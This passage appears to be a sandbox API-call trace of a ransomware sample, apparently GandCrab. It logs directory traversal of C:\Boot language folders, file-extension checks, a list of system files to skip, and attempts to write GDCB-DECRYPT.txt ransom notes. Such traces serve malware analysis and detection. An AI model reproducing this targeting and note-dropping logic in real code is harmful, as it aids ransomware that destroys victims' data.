1 [0135.300] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 0 [0135.300] FindClose (in: hFindFile=0x2c7600 | out: hFindFile=0x2c7600) returned 1 [0135.300] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.300] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.300] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.300] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\Resources\\GDCB-DECRYPT.txt") returned="C:\\Boot\\Resources\\GDCB-DECRYPT.txt" [0135.300] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.301] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Resources\\GDCB-DECRYPT.txt") returned 34 [0135.301] lstrlenW (lpString="C:\\Boot\\Resources\\GDCB-DECRYPT.txt") returned 34 [0135.301] lstrlenW (lpString="C:\\Boot\\Resources\\GDCB-DECRYPT.txt") returned 34 [0135.301] lstrlenW (lpString="C:\\Boot\\Resources\\GDCB-DECRYPT.txt") returned 34 [0135.301] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.301] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.301] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.301] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.301] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.301] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.301] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.301] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.301] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.301] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.301] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.301] FindClose (in: hFindFile=0x2c7a80 | out: hFindFile=0x2c7a80) returned 1 [0135.301] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.301] lstrcmpW (lpString1="ro-RO", lpString2=".") returned 1 [0135.301] lstrcmpW (lpString1="ro-RO", lpString2="..") returned 1 [0135.301] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ro-RO" | out: lpString1="C:\\Boot\\ro-RO") returned="C:\\Boot\\ro-RO" [0135.301] lstrcatW (in: lpString1="C:\\Boot\\ro-RO", lpString2="\\" | out: lpString1="C:\\Boot\\ro-RO\\") returned="C:\\Boot\\ro-RO\\" [0135.301] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.301] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.301] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.301] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.302] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.302] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.302] lstrlenW (lpString="C:\\Boot\\ro-RO\\") returned 14 [0135.302] lstrcatW (in: lpString1="C:\\Boot\\ro-RO\\", lpString2="*" | out: lpString1="C:\\Boot\\ro-RO\\*") returned="C:\\Boot\\ro-RO\\*" [0135.302] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7a80 [0135.302] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.302] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.302] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.302] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.302] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.302] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.302] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.302] lstrcatW (in: lpString1="C:\\Boot\\ro-RO\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned="C:\\Boot\\ro-RO\\bootmgr.exe.mui" [0135.302] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0135.302] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.302] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.302] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.302] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.303] lstrcatW (in: lpString1="C:\\Boot\\ro-RO\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt") returned="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt" [0135.303] lstrlenW (lpString="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt") returned 30 [0135.303] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.303] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.303] FindClose (in: hFindFile=0x2c7a80 | out: hFindFile=0x2c7a80) returned 1 [0135.303] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.303] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\ro-RO\\\\GDCB-DECRYPT.txt") returned 31 [0135.303] CreateFileW (lpFileName="C:\\Boot\\ro-RO\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\ro-ro\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.303] GetLastError () returned 0x50 [0135.303] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.303] lstrlenW (lpString="C:\\Boot\\ro-RO\\") returned 14 [0135.303] lstrcatW (in: lpString1="C:\\Boot\\ro-RO\\", lpString2="*" | out: lpString1="C:\\Boot\\ro-RO\\*") returned="C:\\Boot\\ro-RO\\*" [0135.303] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7500 [0135.303] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.303] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.303] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.303] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.303] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.303] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.303] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.303] lstrcatW (in: lpString1="C:\\Boot\\ro-RO\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned="C:\\Boot\\ro-RO\\bootmgr.exe.mui" [0135.303] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.304] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0135.304] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0135.304] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.304] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.304] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.304] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.304] lstrcatW (in: lpString1="C:\\Boot\\ro-RO\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt") returned="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt" [0135.304] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.304] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt") returned 30 [0135.304] lstrlenW (lpString="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt") returned 30 [0135.304] lstrlenW (lpString="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt") returned 30 [0135.304] lstrlenW (lpString="C:\\Boot\\ro-RO\\GDCB-DECRYPT.txt") returned 30 [0135.304] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.304] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.304] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.304] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.304] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.304] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.304] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.304] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.304] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.304] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.304] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.304] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.305] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.305] lstrcmpW (lpString1="ru-RU", lpString2=".") returned 1 [0135.305] lstrcmpW (lpString1="ru-RU", lpString2="..") returned 1 [0135.305] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ru-RU" | out: lpString1="C:\\Boot\\ru-RU") returned="C:\\Boot\\ru-RU" [0135.305] lstrcatW (in: lpString1="C:\\Boot\\ru-RU", lpString2="\\" | out: lpString1="C:\\Boot\\ru-RU\\") returned="C:\\Boot\\ru-RU\\" [0135.305] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.305] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.305] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.305] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.305] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.305] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.305] lstrlenW (lpString="C:\\Boot\\ru-RU\\") returned 14 [0135.305] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="*" | out: lpString1="C:\\Boot\\ru-RU\\*") returned="C:\\Boot\\ru-RU\\*" [0135.305] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7500 [0135.305] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.305] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.305] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.305] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.305] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.305] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.305] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.305] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned="C:\\Boot\\ru-RU\\bootmgr.exe.mui" [0135.305] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0135.305] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.305] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.306] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.306] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.306] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt") returned="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt" [0135.306] lstrlenW (lpString="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt") returned 30 [0135.306] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.306] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.306] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.306] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.306] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\ru-RU\\memtest.exe.mui") returned="C:\\Boot\\ru-RU\\memtest.exe.mui" [0135.306] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0135.306] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.306] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.306] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.306] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.306] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\ru-RU\\\\GDCB-DECRYPT.txt") returned 31 [0135.306] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\ru-ru\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.306] GetLastError () returned 0x50 [0135.306] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.307] lstrlenW (lpString="C:\\Boot\\ru-RU\\") returned 14 [0135.307] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="*" | out: lpString1="C:\\Boot\\ru-RU\\*") returned="C:\\Boot\\ru-RU\\*" [0135.307] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7900 [0135.307] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.307] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.307] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.307] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.307] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.307] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.307] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.307] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned="C:\\Boot\\ru-RU\\bootmgr.exe.mui" [0135.307] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.307] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0135.307] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0135.307] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.307] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.307] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.307] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.307] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt") returned="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt" [0135.307] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.307] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt") returned 30 [0135.307] lstrlenW (lpString="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt") returned 30 [0135.308] lstrlenW (lpString="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt") returned 30 [0135.308] lstrlenW (lpString="C:\\Boot\\ru-RU\\GDCB-DECRYPT.txt") returned 30 [0135.308] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.308] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.308] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.308] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.308] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.308] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.308] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.308] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.308] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.308] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.308] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.308] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.308] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.308] lstrcatW (in: lpString1="C:\\Boot\\ru-RU\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\ru-RU\\memtest.exe.mui") returned="C:\\Boot\\ru-RU\\memtest.exe.mui" [0135.308] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.308] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0135.308] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0135.308] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.308] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.308] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.308] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.308] lstrcmpW (lpString1="sk-SK", lpString2=".") returned 1 [0135.308] lstrcmpW (lpString1="sk-SK", lpString2="..") returned 1 [0135.308] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sk-SK" | out: lpString1="C:\\Boot\\sk-SK") returned="C:\\Boot\\sk-SK" [0135.308] lstrcatW (in: lpString1="C:\\Boot\\sk-SK", lpString2="\\" | out: lpString1="C:\\Boot\\sk-SK\\") returned="C:\\Boot\\sk-SK\\" [0135.308] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.309] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.309] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.309] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.309] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.309] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.309] lstrlenW (lpString="C:\\Boot\\sk-SK\\") returned 14 [0135.309] lstrcatW (in: lpString1="C:\\Boot\\sk-SK\\", lpString2="*" | out: lpString1="C:\\Boot\\sk-SK\\*") returned="C:\\Boot\\sk-SK\\*" [0135.309] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c77c0 [0135.309] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.309] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.309] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.309] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.309] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.309] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.309] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.309] lstrcatW (in: lpString1="C:\\Boot\\sk-SK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned="C:\\Boot\\sk-SK\\bootmgr.exe.mui" [0135.309] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0135.310] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.310] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.310] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.310] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.310] lstrcatW (in: lpString1="C:\\Boot\\sk-SK\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt" [0135.310] lstrlenW (lpString="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt") returned 30 [0135.310] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.310] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.310] FindClose (in: hFindFile=0x2c77c0 | out: hFindFile=0x2c77c0) returned 1 [0135.310] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.310] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\sk-SK\\\\GDCB-DECRYPT.txt") returned 31 [0135.310] CreateFileW (lpFileName="C:\\Boot\\sk-SK\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\sk-sk\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.310] GetLastError () returned 0x50 [0135.310] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.310] lstrlenW (lpString="C:\\Boot\\sk-SK\\") returned 14 [0135.310] lstrcatW (in: lpString1="C:\\Boot\\sk-SK\\", lpString2="*" | out: lpString1="C:\\Boot\\sk-SK\\*") returned="C:\\Boot\\sk-SK\\*" [0135.310] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7500 [0135.310] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.310] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.310] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.310] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.310] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.310] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.310] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.311] lstrcatW (in: lpString1="C:\\Boot\\sk-SK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned="C:\\Boot\\sk-SK\\bootmgr.exe.mui" [0135.311] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.311] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0135.311] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0135.311] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.311] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.311] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.311] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.311] lstrcatW (in: lpString1="C:\\Boot\\sk-SK\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt") returned="C:\\Boot\\sk-SK\\GDCB-DECRYPT.txt" [0135.311] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.311] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: 